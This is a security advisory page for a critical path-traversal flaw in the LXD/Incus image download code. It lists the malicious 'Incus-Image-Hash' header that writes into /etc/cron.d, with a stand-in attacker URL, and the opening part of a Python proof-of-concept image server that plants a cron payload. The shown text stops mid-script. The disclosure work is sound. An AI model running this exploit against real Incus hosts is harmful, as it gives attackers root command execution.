LXD has arbitrary file write on client due to trusted image hash

Story map

Why it is Amber

• CVSS 9.9 critical
• On your watchlist: Go

Affected packages

References

• https://github.com/advisories/GHSA-pjff-c2wc-f6jm
• https://github.com/canonical/lxd/security/advisories/GHSA-pjff-c2wc-f6jm
• https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x
• https://nvd.nist.gov/vuln/detail/CVE-2026-48769
• https://github.com/advisories/GHSA-pjff-c2wc-f6jm

Original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x ### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JS